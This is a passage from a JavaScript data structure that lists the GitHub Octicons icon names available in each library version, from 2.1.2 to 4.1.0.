unmute","versions","remove-close","x","zap"]},{version:"2.1.2",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.2",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.2.3",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.3.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.4.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"2.4.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","x","zap"]},{version:"3.0.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]
},{version:"3.1.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","telescope","terminal","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]},{version:"3.2.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]},{version:"3.3.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","versions","watch","x","zap"]},{version:"3.4.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","verified","versions","watch","x","zap"]},{version:"3.4.1",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","verified","versions","watch","x","zap"]},{version:"3.5.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","clone","cloud-download","cloud-upload","code","comment","comment-add","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipsis","eye","eye-unwatch","eye-watch","file-add","file-binary","file-code","file-directory","file-directory-create","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-fork","gist-new","gist-private","gist-secret","git-branch","git-branch-create","git-branch-delete","git-commit","git-compare","git-fork-private","git-merge","git-pull-request","git-pull-request-abandoned","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","log-in","logo-gist","logo-github","log-out","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","microscope","milestone","mirror","mirror-private","mirror-public","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","person-add","person-follow","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","remove-close","repo","repo-clone","repo-create","repo-delete","repo-force-push","repo-forked","repo-pull","repo-push","repo-sync","rocket","rss","ruby","search","search-save","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","star-add","star-delete","stop","sync","tag","tag-add","tag-remove","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.0.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","primitive-dot","primitive-square","pulse","question","quote","radio-tower","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan","triangle-down","triangle-left","triangle-right","triangle-up","unfold","unmute","unverified","verified","versions","watch","x","zap"]},{version:"4.1.0",icons:["","alert","arrow-down","arrow-left","arrow-right","arrow-small-down","arrow-small-left","arrow-small-right","arrow-small-up","arrow-up","beaker","bell","bold","book","bookmark","briefcase","broadcast","browser","bug","calendar","check","checklist","chevron-down","chevron-left","chevron-right","chevron-up","circle-slash","circuit-board","clippy","clock","cloud-download","cloud-upload","code","comment","comment-discussion","credit-card","dash","dashboard","database","desktop-download","device-camera","device-camera-video","device-desktop","device-mobile","diff","diff-added","diff-ignored","diff-modified","diff-removed","diff-renamed","ellipses","ellipsis","eye","file","file-binary","file-code","file-directory","file-media","file-pdf","file-submodule","file-symlink-directory","file-symlink-file","file-text","file-zip","flame","fold","gear","gift","gist","gist-secret","git-branch","git-commit","git-compare","git-merge","git-pull-request","globe","grabber","graph","heart","history","home","horizontal-rule","hubot","inbox","info","issue-closed","issue-opened","issue-reopened","italic","jersey","key","keyboard","law","light-bulb","link","link-external","list-ordered","list-unordered","location","lock","logo-gist","logo-github","mail","mail-read","mail-reply","markdown","mark-github","megaphone","mention","milestone","mirror","mortar-board","mute","no-newline","octoface","organization","package","paintcan","pencil","person","pin","plug","plus","plus-small","primitive-dot","primitive-square","pulse","question","quote","radio-tower","reply","repo","repo-clone","repo-force-push","repo-forked","repo-pull","repo-push","rocket","rss","ruby","search","server","settings","shield","sign-in","sign-out","smiley","squirrel","star","stop","sync","tag","tasklist","telescope","terminal","text-size","three-bars","thumbsdown","thumbsup","tools","trashcan",